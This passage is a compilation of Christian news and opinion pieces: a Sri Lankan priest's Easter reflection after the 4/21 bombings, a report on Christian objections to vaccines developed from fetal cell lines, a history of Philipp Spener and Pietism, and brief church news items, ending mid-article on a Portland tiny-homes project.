post-4/21. Image: Image: AP Photo How Do We Celebrate the Resurrection Now? The feast of the Resurrection is the holiest of days for a Christian. Whatever denomination we come from, we agree on the fact that we believe that our Lord and Master rose from the dead. On Good Friday we remember that the Lord Jesus took upon himself the pain, anger and evil of the world and exposed the violence that was prevalent in the hearts of the people and he died. He became for us both high priest and victim in this whole act. But it is not without hope. On Holy Saturday, the eve of Easter, the New Fire is blessed, the Easter candlethe symbol of the Resurrectionis blessed and lit, our baptismal vowsthe basis of our faithare renewed and we enter the church with joyful expectation. On Sunday, we remember that the Lord Jesus defeated death, the grave and the powers of darkness and rose triumphantly from the dead. Article continues below Easter celebrates the death of death and the end to violence. It is the triumph of good over evil and the assurance that The light shines in the darkness and the darkness has not overcome it. (John 1:5). It is for this solemn moment that we fast and prepare ourselves through self-examination over the course of 40 days, during which the words of praise (hallelujah) are not heard. What a glorious celebration it is! But in the wake of this tragedy, we are haunted by questions concerning these very beliefs. A close friend expressed the logical reaction: Why didnt God protect the people who were praying in the church, his dwelling place? Why didnt God stop them? What kind of a god is this? I have no doubt that the survivors and the families of the victims are wondering the same things. It is a herculean task to lay your entire family to rest. It is heart-wrenching to see innocent children affected by these heinous acts of violence. How do we reconcile our Easter beliefs with this incident? I dont claim to hold the answers for these questions, but for me, the key is in the image displayed above. This statue stands at St. Sebastians Church, Katuwapitiya, Katana. The statue of the resurrected Christ, with one hand raised high in triumph, is splattered by the blood of the innocent victims of 4/21. The statue itself depicts Jesus, even though resurrected and given a body in glory, still bearing the wounds of the crucifixion. The Gospel of John, as quoted above, also speaks of the resurrected Christ standing among his disciples. During this incident, the first words as uttered by Jesus are Peace be with you and then he shows the wounds on his hands and his side. This is as if to say, Look at the price I bore for this peace. This peace cannot be given to you by the world and those who live in it. It is only through me that you can receive this peace. This costly peace that Jesus won for us compels us, in turn, to be peacemakers (Matt 5:9) and engage in the ministry of reconciliation (2 Cor 5:18). We have to keep in mind that the biblical peace that is spoken of is not outward peace, but peace in every sphere of our life, working together to bring about well-being for the whole self. This peace can be achieved only if justice is achieved. As Isaiah 32:17 says, The fruit of that righteousness (justice) will be peace; its effect will be quietness and confidence forever. And so, we are called to not only be peacemakers, but to work towards achieving justice. Bearing The Cross, Bearing Witness If history has shown us anything, it is that those who truly follow God, will always be persecuted. The Christian faith is built on the call to deny self, take up our cross and follow Christ. As one priest explained, when we choose to become Christians, we sign over our lives to Christ. The cross is an instrument of death and we are called to deny ourselves and carry the cross daily as our sign. Further, the call to deny self is to transcend all narrow sectarianism and self-interest and live for the 'other' whoever the other may be. The church was built on the spilled blood of the saints of the early Church who gave their lives willingly for what they believed in. They died due to their uncompromising faith. They did not deny or dilute their faith, but held onto it with all that they could. So much so, that they bore witness to their faith in Jesus even in the way they died. Article continues below Isnt this true of those who died during the services in church on Easter Sunday? Didnt they die proclaiming their faith and their love for Christ? Didnt they take up their cross and lay down their lives for him? Arent they like the saints of old? If not all, Im sure most were. These are the victims on whose spilled blood the church will be established. For the survivors and those who are left to mourn, there are no easy answers to the questions that cloud our minds and shake our faith. But we know that it is through suffering that we come to know Christ and his peace. It is through the pain, the trials and the trauma that we experience the peace of God. It is in coming to terms with our own experiences of suffering that we come to see God. The wounds we bear will never leave us for their scars will always be with us. But it is in those experiences that we gain our strength (2 Cor. 12:810). They are the signs of our faith. For the disciples recognized Jesus and rejoiced because they recognized his wounds. Bear them well. It is also important to remember that, according to the passage from John quoted above, the believers were hiding inside the Upper Room because they feared the Jews. In todays context, when we are driven by fear, we act contrary to God. It is fear that will cause us to lash out at other innocents. It is fear that causes divisions. It is fear that will make us hate. It is fear that will make us wrongfully accuse and label. But, it is amid their fear that Jesus spoke his peace. He says, Be still, my child, I am here. It is among the shattered glass and broken tiles with blood splattered that the statue of Christ stands. Furthermore, the risen Lord appears while his disciples were journeying, eating a meal, and all the while when they doubted to reassure them of his presence among their situation. How many of us are ready to realize the presence of our Lord and Master among our fear, confusion and doubt? And how many of us will give into our fear? We must remember that the early church was characterized by their love for one another. Love must triumph over fear. 1 John 4:18 says, There is no fear in love. But perfect love drives out fear. The New Commandment that Jesus gave us was to love one another as he loved us (John 13:3435), that is to say, even to the point of death. Christians are called to have uncompromising faith and unfailing love irrespective of race or religionespecially in the present context in Sri Lanka. But, the buck does not stop there. Jesus goes on to breathe on his disciples to baptize them with the Holy Spirit and then sends them out. He commissioned them to go forth, just as the Father sent him, to propagate love. We too are commissioned today, just as the disciples were 2,000 years ago, to propagate love among fear and hatred. The triumph of the cross is that the way of love overcame all life-negating forces. Will we bear the cross well? Jurinesz R. Shadrach is an ordained priest of the Anglican Church in Sri Lanka, currently serving at St. John's College, Jaffna as Chaplain and at St. John the Baptist Church, Jaffna as curate. For certain Christians, the decision of whether to vaccinate comes down to the origins of the vaccines themselves. Some pro-life parents cite a moral disgust and a deep lament over the use of 58-year-old aborted fetal cell lines in development for several recommended immunizations, including MMR (measles, mumps, and rubella) and chickenpox. The use of fetal cells in vaccine study and creation is one of the primary reasons we do not vaccinate, said Mandy Reynvaan, a mother of five in Oregon, where a measles outbreak has flared over the past few months. The methods used to obtain these cells are horrifying. This week, Reynvaan traveled to the state capital to lobby against a bill that threatens to remove a parents right to refuse vaccinations for school-age children unless there is a medical reason. If passed, Oregon will be the fourth state to remove non-medical exemptions. Furthermore, Reynvaan, who teaches fourth grade, is concerned that the state is not far off from mandating all teachers be vaccinated, which would put her job at risk. She and her husband have filed philosophical exemptions to vaccines for each of their children. The bill making its way through the state legislature comes in response to 14 measles cases in Oregon and 73 in neighboring Washington state, which Tuesday passed a bill to the governors desk that would limit personal and philosophical exemptions for the MMR vaccine (but not religious exemptions). Across the country, there have been over 600 cases in 22 states, spurring several state proposals that, in an effort to protect against the spread of disease, would restrict parental rights and religious freedoms for families who skip immunizations due to their faith convictions. Measles has seen a 30 percent increase globally, something the World Health Organization (WHO) attributes to vaccine hesitancy in countries that had practically eliminated the disease. Christians who refuse to vaccinate are part of a larger trend, as younger parents in general are more likely than previous generations to believe the benefits dont outweigh the risk. Only 78 percent of 30- to 49-year-olds support an MMR vaccine requirement for school children, compared to 90 percent of those over 65, according to a 2017 Pew study. While many evangelicalsboth in favor of vaccines and againstsee their faith as compatible with science, the questions they raise over immunizations coincide with some distrust around the medical industry and human authority. Overall, American confidence in the medical community has fallen from 60 percent to 37 percent since the 70s. Fewer than half of adults dont believe scientists fully understand the MMR, according to the General Social Survey, despite the scientific consensus in favor of vaccines. Those who put their trust in the Holy Spirit and Scripture may be wary of embracing secular authority and expertise, BioLogos has noted, which could influence how they view scientific findings on topics like vaccine safety. Pew Research found that white evangelical Protestants are more likely than other Christians and Americans in general to favor allowing parents to decide what to do about childhood vaccines. The abortion that started it all The fetal cells that disturb parents like the Reynvaans actually originate from material procured from two abortions that took place in the 1960s, an era when measles was so common it often went unreported. There were roughly a half million reported cases in the US from 19561960. While about 450 of those people died, there were many more severe complications from measles, including 150,000 with respiratory complications, 4,000 cases of encephalitis, and thousands hospitalized each year. Doctors were eager to develop an effective vaccine. Article continues below For immunizations to work, they require the virus to be hosted in a living cell. Cell biologist Leonard Hayflick, working at the Wistar Institute in Philadelphia, reasoned that fetal cells would be protected from outside pathogens and the cleanest type to use in vaccines. He partnered with a Swedish scientist to procure the fetal tissue from an elective abortion in a country where it was legal. In the recent book, The Vaccine Race, journalist Meredith Wadman describes the patient, Mrs. X, who requested an abortion due to her run-down husband, an alcoholic who was rarely around to help with the young children they already had. Days after her abortion in June 1962, Hayflick had the fetal lung cells he needed for testing. Hayflick previously discovered that as cells divided and grew into subsequent generations they lost the youthfulness of the original cells. (This was contrary to popular scientific thought at the time. The discovery is now named after him.) So he grew the cells, dividing them just eight times, and froze enough in storage. Vaccine-makers still use the cell lines called WI-38 today. These fetal cells from the Mrs. X abortion were used to grow weakened or inactive viruses in the development of two vaccines: the rubella vaccine (the R in the MMR vaccine) and one version of rabies vaccine and are used around the world. Around the same time, the British Medical Council in the UK also produced vaccines from fetal lung cells. Using cells procured through an abortion in 1966, a culture called MRC-5, they created vaccines for hepatitis A, chickenpox, and shingles. A polio vaccine was also made and used in other countries but not the US. Researchers did experiment with other fetal tissue samples in their development, but the human fetal cells in current vaccines all stem from these two abortions. Just one bottle of cells from Hayflick, Wadman writes, would produce 87,000 times more vaccine than is made by a typical vaccine-making company, setting out today to make one years worth of a typical childhood vaccine that it will ship to more than forty countries. An ethical dilemma Pro-life proponents of immunization point out that vaccines no longer rely on abortion to provide further fetal cellsand that the initial two abortions were not conducted to supply vaccine makers with fetal tissue in the first place. Such circumstances would be immoralan argument on the Southern Baptist Conventions Ethics and Religious Liberty Commission (ERLC) blog. The Catholic Church also concluded, in a 2005 statement, that those who receive vaccines are not culpable in the original abortions. Focus on the Familys Physicians Resource Council, which last updated a statement in 2015, suggests that Christians have the moral freedom to receive vaccines, though it also respects those Christians who come to a different conclusion after consideration and prayer. National Institute of Health director Francis Collins suggests comparing it to organ donation after a child was shot. There was a terrible, evil loss of life of that child and yet I think we would all say that if the parents decided and they wanted something good to come of this and gave their consent, thats a noble and honorable action, he said. Does that translate into a parent, after going through a pregnancy termination, deciding that they would like the fetal tissue to actually help somebody? ERLC makes a similar comparison to organ donation not condoning murder. Consent poses another ethical dilemma. The tissue from Mrs. X dates back to an era when scientists often failed to secure permission from donors or their families to use the cells. Think too of Henrietta Lacks, the African American cancer victim whose cells were secretly used in decades of research. Researchers today are expected to obtain informed consent. Article continues below It is easy to condemn out of hand the scientists who conducted these experiments on the most voiceless and powerless among us. And their actions were in many cases horrifying and inexcusable, Wadman wrote, noting the deep moral abhorrence abortion opponents and other vaccine skeptics may feel. But it is more instructiveand perhaps more likely to prevent similar betrayals in the futureto try to understand why they did what they did. Concerns over reactions One Louisiana mom described feeling shocked and betrayed when she found out that vaccine development used aborted fetal cell lines. It only led to growing mistrust of her pediatrician. I trusted my doctor to be honest with me, she said. I desperately wanted to do right by my children. Concerned about vaccine reactions, she looked up her kids medical history to discover her firstborn had been vaccinated for hepatitis B without her knowledge after she had a C-section, deepening a sense of betrayal. Like many parents with similar worries, she turned to the WHO, Centers for Disease Control (CDC), books, and medical journals to research vaccines, but her doctor balked at her efforts, telling her not become a quack like all the other parents, and just vaccinate my children. Reynvaans hesitation over vaccines dates back to a seizure and 105-degree fever she experienced after her own 18-month immunizations, given according to CDC recommendations. The event landed her in the hospital, and though her pediatrician at the time didnt see the episode as a vaccine reaction, her mother grew wary and proceeded with a less-rigorous vaccine schedule, declining recommended boosters. This was prior to the Vaccine Adverse Event Reporting System (VAERS), which launched in 1990 for parents and medical professionals to log reactions to immunizations. There are roughly 30,000 reactions reported to VAERS each year, and roughly 8590 percent of them are considered mild side effects, such as a fever, arm soreness, or crying and mild irritability. Reactions are more common for the DTaP, where roughly 50 percent of patients run a low-grade fever (under 100.4 degrees), according to the WHO. VAERS also collects reports of adverse events, such as anaphylactic shock, which occurs in about one in a million doses. The latest research agenda set forth by a CDC committee in 2011 reviewed the relationship between immunizations and autoimmune diseases, saying that so far a connection has not been clear. Nevertheless, it suggested more research on the genetic variability of human immune responses with the aim of reducing severe reactions to vaccines. As an adult, Reynvaan has suffered autoimmune issues she attributes to her childhood vaccines and wants to avoid her children experiencing the same. We are not close minded. We believe our Christian beliefs and science are not diametrically opposed, but instead, work together, the Oregon mother told CT, describing years of research and mounting concerns over pharmaceutical companies liabilities for adverse reactions. At the end of the day, our desire is to raise healthy children. A Christian response Vaccine opponents know the negative stereotype that surrounds them, especially as outbreaks threaten to spread once-eradicated diseases and put vulnerable populations at risk. Crystal Kupper, a mom and journalist in Oregon, said she had once mocked those who did not vaccinate as uneducated conspiracy theorists. Even though she is enthusiastically in favor of vaccines, she gained a new respect for the so-called anti-vaccine crowd through a MOPS (Mothers of Preschoolers) group. Article continues below These women were some of the most educated articulate, well-researched, giving, generous, selfless, Christlike people I have ever had the pleasure of meeting, she said. And ever since, it pains me to see how many of my Christian friends openly mock those who dont vaccinate as not only stupid but selfish and unbiblical. I often think of Ephesians 4:29: Do not let any unwholesome talk come out of your mouths, but only what is helpful for building others up according to their needs, that it may benefit those who listen. She put her journalistic skills to use in researching medical journals to understand her friends position and even interviewed people who dont vaccinate for her own reporting. She too was shocked over the use of aborted fetal cell lines. Whatever your viewpoint, she feels Christians can find common ground with fellow believers who are trying their best to raise their children and who ultimately put their trust in God for their childrens health and safety. But Christian convictions have also spurred a vocal minority to do more. A group in Oregon wrote the state legislature to explain their position against vaccines and their hope to avoid creating an incentive to develop similar cell lines in the future. Even if they decline vaccines developed from aborted fetal cell lines, parents could still have their kids receive 9 out of 14 childhood immunizations recommended by the CDC, including the flu shot as well as DTaP and related Tdap, which cover tetanus, diphtheria, and whooping cough. Even though the measles vaccine doesnt use fetal cell lines, measles, mumps, and rubella vaccines are no longer available separately, so the combined MMR vaccinewhich contains fetal cell lines in the rubella vaccineis required to combat the current measles outbreak. Collins explained that separating the MMR again would require regulatory oversight, which would be costly, therefore, likely not a priority for manufacturers. (Merck stopped producing the individual vaccines in 2009.) Vaccine researchers today have many more options than those who developed major vaccine breakthroughs in the 60s, said David Prentice, a cell biologist and research director of the Lozier Institute, a pro-life policy organization. The vast majority of vaccines nowadays never see any of those old fetal cell lines, he said. Theyre grown in monkey cells or other types of human cells or stem cell types. There is a subset of the Christian opposition to vaccines that also takes issue with certain animal cells used in medical research, citing concerns over Levitical guidelines on animals and blood products, as well as some that challenge vaccines for sexually transmitted viruses such as the human papillomavirus (HPV) and hepatitis B. But many concerned about the fetal cells would prefer to see animal cells used. The use of human fetal cells in vaccine creation isnt necessary, Reynvaan said. Animal cells can be used and are used in many current vaccines. Japanese companies produce rubella and hepatitis A vaccines that do not use fetal cell lines, instead using animal cell lines, but they are unavailable in the United States. The new Ebola vaccine, which uses a monkey cell line, is shown to be 97.5 percent effective in protecting against the current outbreak in Congo. And while the older shingles vaccine was cultured in an old aborted fetal cell line, a new one called Shingrix, cultured in a Chinese hamster cell line, is more effective. Article continues below Opponents to vaccine mandates would like to see lawmakers offer more flexibility for religious exemptions for school children. One mother described how, in South Carolina, where her stepchildren were born, parents either opt in to all vaccines or no vaccines. Meanwhile, New Mexico allows more of a pick-and-choose approach on its form, meaning parents can select the vaccines from which they are requesting an exemption. While these solutions wouldnt entice everyone, they might change some parents minds. Furthermore, even Washingtons recently passed bill addresses only the MMR. Yet even if lawmakers and non-vaccinating religious parents could find a compromise, the reality is the issue is multi-faceted for many, with some still left asking questions about safety, particularly on the relationship between vaccines and autoimmune diseases. It is estimated 3 to 5 percent of the population suffers from an autoimmune disease. I totally understand peoples hesitancies about that, said Prentice. There havent been any scientific studies to nail it down, yay or nay. Its incumbent on drug manufacturers to adhere to the strictest standards and eliminate any potential source of a biological problem. For some Christians, understanding the impact a whole community can have on health influences their personal choicesmeaning they vaccinate to benefit their neighbors because it improves herd immunity. Therefore, Collins suggested that those of us who can should vaccinate to protect those with immune deficiencies and cancers. But meanwhile, a lot of trust will have to be rebuilt for those who fear they or their children are at risk for adverse effects. Reynvaan is unsure that the pharmaceutical industry can be trusted. In her personal research, she characterized her findings as full of corruption, falsified reports, and incomplete science on the part of the pro-vaccine community. Rebecca Randall is the science editor for Christianity Today. [ This article is also available in espanol. ] In 1666 the German commercial center of Frankfurt am Main welcomed a new pastor. Just 31 years old, Philipp Spener not only became the primary Lutheran preacher in a city of 15,000 but supervised the work of 11 other clergymenfour of them twice his age. It was a plum assignment for a rising star. Yet Spener soon found that almost everywhere there is something wanting in an ostensibly Christian society that seemed to love God and neighbor too little. One could not look at what was left of Martin Luthers reformation, he lamented, without having quickly to cast [their eyes] down again in shame and distress. Timeline 1618 The Thirty Years War begins 1635 Philipp Spener born 1648 Peace of Westphalia 1670 Small group study begins in Frankfurt 1675 Spener, Pia Desideria 1705 Philipp Spener dies 1706 Pietist missionaries go to Tranquebar, India 1727 Beginning of Moravian revival at Herrnhut But that severe judgment came in an otherwise hopeful book that would spark one of the greatest renewal movements in church history: Pietism. Thanks to a modest but powerful program of reform that inspired energetic followers, Spener would eventually rank just behind Luther in German religious history, the founding father of a movement commonly known as the Second Reformation. While Spener founded no new denomination, Pietisms influence would stretch far in spaceeverywhere from South Asia to North Americaand time, even to evangelicalism today. Born into conflict Philipp Jakob Spener was born in 1635, in the middle of the most devastating conflict to that point in European history: the Thirty Years War (1618-1648), which caused the death of as many as one in four Germans. Though his home province of Alsace was largely spared, Spener would spend his life pastoring people still recovering from the demographic, economic, and spiritual effects of a war that had pitted Christians against each other. Educated at the University of Strasbourg, Spener completed his doctorate in June 1664, the same day he married Suzanna Erhardt. Though drawn to the academic life, the young theologian accepted the call to Frankfurt, where he preached Sunday mornings in the Franciscan Church. Much as he enjoyed the work, Spener grew dismayed by the spiritual condition of his flock. In one 1669 sermon, he warned that mere intellectual assent to doctrine and rote participation in formal religious life left his listeners little better than Pharisees. He longed for his parishioners to experience the authentic Christianity that the Lutheran mystic Johann Arndt had described 60 years before: the exhibition of a true, living faith, active in genuine godliness and the fruits of righteousness. In 1670 a lawyer named Johann Jakob Schutz encouraged Spener to begin hosting a small group study of Scripture and devotional works. Every Sunday and Wednesday evening, about 15-20 men met with Spener in his study. They longed, he remembered, to have some opportunity when godly-minded people could come together and confer with each other in simplicity and love. Speners so-called collegia pietatis soon grew to 50 and then 100, a cross-section of Frankfurt society that included rich and poor, women and men, and even non-Lutherans. Similar conventicles began to gather in other cities of the Holy Roman Empire. To our ears, the story sounds unremarkable. (Doesnt every church have a small group ministry?) But that early conventicle hints at the subtle power of what became Pietism. Speners reforms were pastoral, practical, and easily adapted to different contexts. However radical they may have been at the time, they soon entered the religious mainstream. Heartfelt desire Likewise, Speners most famous book, Pia Desideria (1675), may seem unimpressive at first glance. A slender volume that was first published as a preface to some of Arndts sermons, Pia Desideria expressed Speners pious longings that church and society would yet experience better times. Its most influential sectiona concluding set of six brief practical reformsbegan by rehashing two ideas from Martin Luther. First, a more extensive use of the Word of God among us. What did our sainted Luther seek more ardently than to induce the people to a diligent reading of the Scriptures? Not only in worship and preaching, but through personal and small group study, Spener hoped to return the Bible to the attention of ordinary Christiansnot for the sake of biblical knowledge alone, but because Gods Word was the powerful means by which individual faith was enkindled and the church was reformed. So second, Spener sought to revive Luthers model of the church as a common priesthood. Not just ordained clergy, but all believers are made priests by their Savior, are anointed by the Holy Spirit, and are dedicated to perform spiritual-priestly acts like prayer, study, and teaching. While women in the original collegia pietatis had sat silently in a separate room, Spener nonetheless viewed them as priests. In Christ, he wrote in 1677, the difference between man and woman, in regard to what is spiritual, is abolished. The first two of Speners proposals echoed Luther; the remaining four addressed a problematic legacy of Luthers reformation. Splintered into competing confessions, Protestant churches seemed more concerned with policing doctrinal boundaries than attending to the spiritual needs of ordinary Christians. So as Spener continued his list of proposals, he paused to emphasize that it is by no means enough to have knowledge of the Christian faith, for Christianity consists rather of practice. It became the core conviction of Pietism. Though a convinced Lutheran who affirmed the Augsburg Confession and taught Luthers catechism, Spener knew that doctrine could become dead orthodoxyand the pulpit and lectern could become dumb idolsif faith was not made active in love. If we can therefore awaken a fervent love among our Christians, he hoped, and put this love into practice, practically all that we desire will be accomplished. Under the leadership of Speners leading disciple, August Hermann Francke, Pietists would put love into practice with astonishing energy. The Franckean Institutions in Halle published millions of inexpensive Bibles, produced and distributed medicine, cared for orphans, educated boys and girls of all social classes, and trained pastors, military chaplains, biblical scholars, and the first Protestant missionaries to India. Moreover, if Christianity was more a lived faith than a set of doctrines, then even educational institutions should aim at transforming the whole person, not training the mind. Spener proposed that schools act as workshops of the Holy Spirit, where students would learn that holy life is not of less consequence than diligence and study, indeed that study without piety is worthless. Even theological education should be practical, preparing pastors to preach the Word of the Lord plainly but powerfully. Anticipating the revivals of later centuries, Spener urged simple, unshowy preaching that aimed at the conversion of the inner man or the new man, whose soul is faith and whose expressions are the fruits of life. Spener never reported an epiphany of his own, but followers like Francke described powerful conversion experiences in widely read spiritual autobiographies. An ecumenical impulse Precisely because he understood Christianity to be a heartfelt faith lived out in love of neighbor, Spener also warned the readers of Pia Desideria to beware how we conduct ourselves in religious controversies. At best, angry arguments and heated polemics could produce an intellectual conversion, a faith without feeling. At worst, disputation and heresy-hunting would rub salt into the wounds of religious schism and warfare. Though a Lutheran, Spener gladly borrowed ideas from Reformed devotional writers like Lewis Bayly and Jean de Labadie, and his collegia pietatis included Calvinists and Catholics. He wondered aloud if it might not be possible to bring about a union of most of the confessions among Christiansa goal inherited by his Pietist godson, Nikolaus von Zinzendorf, whose Moravian revival emphasized the religion of the heart and aspired to an ecumenical reunion of all Christians. Alas, Speners later years of ministry were marked by conflict, and his followers experienced their own schisms. Lutheran scholastics accused him of discarding their traditions confessions, and he spent five frustrating years as the court conscience of Saxon rulers who chafed at Speners calls for religious rigor. He spent the last years of his life in Berlin, where the Prussian court was more receptive to the practical benefits of Christian renewal. But other Pietistsincluding Schutz, the remarkable teacher and writer Johanna Eleonora Petersen, and the brilliant scholar Gottfried Arnoldwere ready to break with religious and political authorities. While Spener urged renewal from within the state church, Radical Pietists began to separate into their own communities, some of which sought greater religious freedom in the New World. Others questioned not just dead orthodoxy, but even the core Lutheran doctrines that Spener affirmed up to his death in 1705. But if Mark Noll is right that Pietisms emphasis on personal experience and religious feeling helped weaken Protestant commitment to historic orthodoxy, Speners renewal also inspired the evangelical awakenings of the modern era. Most famously, an Anglican priest named John Wesley felt his heart strangely warmed after a Moravian meeting in London. His followers sang Pietist hymns, met in versions of Speners collegia pietatis, and shared their own stories of dramatic conversion leading to changed behavior. In the early 1840s, a Methodist missionary to Sweden named George Scott helped spark a revival whose chief publication was called Pietisten. The pietist, wrote Scott and his Swedish partner, C. O. Rosenius, is the one, who not only has the name, the semblance and the shell of godliness, but the very thing itself, the reality, the kernel, and is a living product of Gods word. As Scandinavian Pietists migrated to North America in the late 19th and early 20th centuries, they founded new denominations, including the Evangelical Free Church of America and the Evangelical Covenant Church. To this day, the latter still celebrates how Philipp Spener challenged the church to deeper spirituality through his call for widespread reading and study of the Bible; greater participation by lay people in the work of the church; simple, clear, and direct preaching geared to the needs of the people; and the abandonment of theological hair-splitting in favor of practical concern for living the Christian life. Christopher Gehrz is professor of history at Bethel University in St. Paul, Minnesota. His most recent book is The Pietist Option: Hope for the Renewal of Christianity (IVP Academic, 2017). Related Christian History issue: Issue 10 - Pietism: The Inner Experience of Faith(1986) Millions of United Methodists have been waiting and wondering where their denomination will ultimately land in a decades-long dispute over gay marriage and clergyand if a major split over the issue is imminent or if the debate will continue at its general conference once again next year. Though the United Methodist Church (UMC) voted in February to keep its traditional marriage stance, barring congregations or conferences from performing same-sex ceremonies or ordaining gay clergy, whether that policy took effect in 2020 (in the US) depended on approval from the churchs Judicial Council, which released its decision this afternoon. The councila nine-member panel that essentially functions as the UMCs Supreme Courtwas tasked with reviewing the recently adopted legislation to ensure that it didnt violate the denominations constitution, which contains guidelines about church structures and processes. The Judicial Councils ruling today was, ... 1 Facebook executive urges churches to leverage social media for the Gospel Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment ANAHEIM, Calif. Facebooks faith-based director illustrated how churches can leverage social media to grow the Kingdom of God and exhorted Christians to use their platforms to build followers of Jesus instead of simply growing their personal audience. God wants to do something new with social technology that weve never comprehended before, Nona Jones, Facebooks director of global faith-based partnerships, said during the Digital Media Summit at Proclaim 19, the National Religious Broadcasters' International Christian Media Convention on March 29. Jones, who with her husband also pastors Open Door Ministries in Gainesville, Florida, detailed how churches can use social media to develop disciples both within and outside their church walls. Far too many Christians, she said, have erroneously come to equate church with building. The paradigm for the Church today is often Come, follow Jesus at church on Sunday at 11, she said. But when Jesus walked on Earth, church was not something that occurred at a particular time on a particular day. Church was a community of people who cared about the Gospel and cared about the Good News and took the Good News with them wherever they went, she said. Jones, who will release her memoir titled, Success From the Inside Out, in January 2020, urged the audience to return to a biblical model of church that never involved an address, but only involved willing hearts, she said, reminding listeners that Jesus taught people, equipped people, healed people, prayed for people, and set people free as He found them along His journey. According to recent statistics, two-thirds of churches in America are declining or plateauing in attendance, and more than 80 percent of people are not attending church in person or at all, Jones said. Meanwhile, 30,000 people search Google every month for church online. Churches, she emphasized, need to learn how to reach that 80 percent. Theres a vast sea of people who are searching but who wont drive to a building to find what theyre looking for because they dont even know what theyre looking for, she said. Discipleship, she emphasized, does not occur when people enter a building and watch a program. Rather, it occurs when we are in relationship with other people, challenging each other. And these are the kinds of relationships we can have when we leverage social media for ministry. She highlighted the power of Facebook groups, explaining that those intimate, tight-knit groups allow for 24/7 discipleship. Then, believers have the opportunity to take those relationships from online to offline, in person. The goal of social media, she stressed, should be discipleship, not simply building ones personal audience. It doesnt matter how many followers you have if those followers arent following Jesus through you, Jones said. Were conduits. Its not about the size of our following. The question is: How are we helping people mature in their faith who are connected to our ministries? Thats what social media is about. The Digital Media Summit was one of four industry summits hosted by the NRB during the week of Proclaim 19. Other summits included the Great Commission Summit (March 25), TV & Film Summit (March 27), and Radio Summit (March 28). TD Jakes, AT&T CEO urge companies to hire formerly incarcerated people Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Prominent Dallas pastor and businessman T.D. Jakes joined forces with AT&T CEO Randall Stephenson last Wednesday to encourage business leaders to hire formerly incarcerated people. If a guy gets out of prison and he cant get a place to stay because every application locks him out of a rental, much less ownership, he cant get a loan and he cant get a job, where else can he go except back to prison? Jakes said at a fundraiser for the Texas Offenders Reentry Initiative. The 12-month T.O.R.I., founded by Jakes in 2005, gives returning citizens a second chance at life and provides them with solutions to the many barriers they face upon release from prison. Statistics from the National Institute of Justice show that within three years of release, about 67.8 percent of released prisoners were rearrested. Within five years of release, the recidivism increases to 76.6 percent. Among rearrested persons, more than half were arrested by the end of their first year out of prison. For most of the 23,000 graduates of Jakes T.O.R.I., however, the picture is much more promising with a recidivism rate of just 11 percent. Speaking at the Potters House in Dallas, Jakes and Stephenson sought to persuade a 900-person audience from North Texas businesses, government agencies and nonprofits to consider hiring formerly incarcerated people, The Dallas Morning News reported. Stephenson said AT&T had hired about a dozen people who were formerly incarcerated to work at a Richardson call center as part of a pilot program he plans to expand to other cities. "If we truly are going to be a society who wants to ensure that we don't just have this revolving door to our prison system, then you've got to step up," he said. "You've got to be part of the solution." Tina Naidoo, executive director of TORI, said about 70,000 people in Texas return home from prison annually. Along with the stigma associated with a prison record, many face challenges such as the lack of an email address. Some dont know how to write a resume or cover letter. Even if they have strong skills or a degree, many companies immediately throw out their job applications. These factors have helped to keep the unemployment rate among the formerly incarcerated at a staggering 27 percent. Naidoo said TORI has worked with about 80 employers, including AT&T and Mint Dentistry, to help her clients get jobs but she wants to convince more companies to join the movement to help her clients become productive citizens again. But Naidoo said it can be tough to convince some corporations to take a chance on the job applicants. Corey Anthony, vice president of human resources and chief diversity officer said the company has made their hiring process more flexible to consider formerly incarcerate individuals on a case-by-case basis. "Just because a person has spent some time incarcerated doesn't mean they don't have talent," he said. "And at AT&T, we are always looking for talent." Evangelical megachurch might save historic Okla. mainline church from demolition by buying it Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment An Oklahoma-based megachurch is looking into adding a historic church reportedly threatened with demolition as a new campus. Crossings Community Church, a congregation with campuses in Oklahoma City, Edmond, and online that averages 8,000 weekly worshippers, has been working to acquire First Christian Church of Oklahoma City. Jennifer Ayotte, spokesperson for Crossings Church, explained in comments emailed to The Christian Post on Monday that her church is always considering new opportunities to reach into other areas of our community. We are very excited about the possibility of a satellite in this location of our city, she added, noting that they also have a satellite campus at the Joseph Harp Correctional Center in Lexington. We will be spending the coming months evaluating this opportunity as we have no plans of demolishing the iconic structure, but rather have it continue in its originally intended use as a church. In February, Oklahoma City Ward 2 Councilman Ed Shahid took to Facebook to explain that demolition of First Christian Church appears imminent. Although the church is on the National Register of Historic Places for its architectural design, Shahid noted that the current owners believe there are too many issues with the building and their congregation has declined too much to be able to fix the issues. I received notice from a member of the Church Board that the property was under contract contingent on the buyer being able to demolish the buildings, explained Shahid, as reported by The Oklahoman in February. The Church contends that they have 40 people left in the congregation, asbestos is omnipresent in the building, and their reserve fund built up in stronger days is near depletion. Ayotte of Crossings provided CP with a statement from Senior Pastor Marty Grubbs, in which he explained that he does not want to demolish the church. I really dont like to see great churches torn down and First Christian Church has been a really great church in this community ...[they] built a nationwide, highly respected architecture in their building, stated Grubbs. We really love that location ... that area of town." For their part, First Christian Church announced on Easter Sunday that they were negotiating with Crossings about a possible purchase of the property. This will allow the building to be resurrected for the use in which it was intended as a church, stated First Christian Senior Pastor the Rev. John Malget, as reported by The Oklahoman on Sunday. It will allow the congregation of First Christian Church to also receive a resurrection as we move forward with the call that God has on our congregation. Portland church building 15 tiny homes on its campus to shelter the homeless Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A church in Portland, Oregon is building 15 tiny shelters on its 11-acre property as a tangible way to lift up the homeless in the immediate community and help put them on a path toward self-empowerment. Central Church of the Nazarene in Southeast Portland will officially open Agape Village this summer. The village is a nonprofit faith-based initiative designed to provide a substantive response in a community that is largely under-resourced when it comes to providing safe places for the homeless community. It started with the churchs desire to more effectively love God and love our neighbor, Pastor Matt Huff told The Christian Post. And the church is in a place in Portland where were moving tents off the front step of the church on a regular basis. We've got people camping all over the place. And that's our neighbors. How do we engage them and love them and not just to kick them out? Located in an area with a high houseless population, the church has had people living on its property ever since it opened. Huff explained that the idea for Agape Village was inspired by seeing the work that other churches in the area have done through programs like Opportunity Village in Eugene, Dignity Village in Portland and Kenton Womans Village in Portland. According to Huff, the model that will be implemented by Agape Village will take bits and pieces from all the other villages that Huff visited. Construction on Agape Village began last summer. The work is being done by a volunteer workforce that builds primarily only on Fridays and Saturdays. The village will consist of 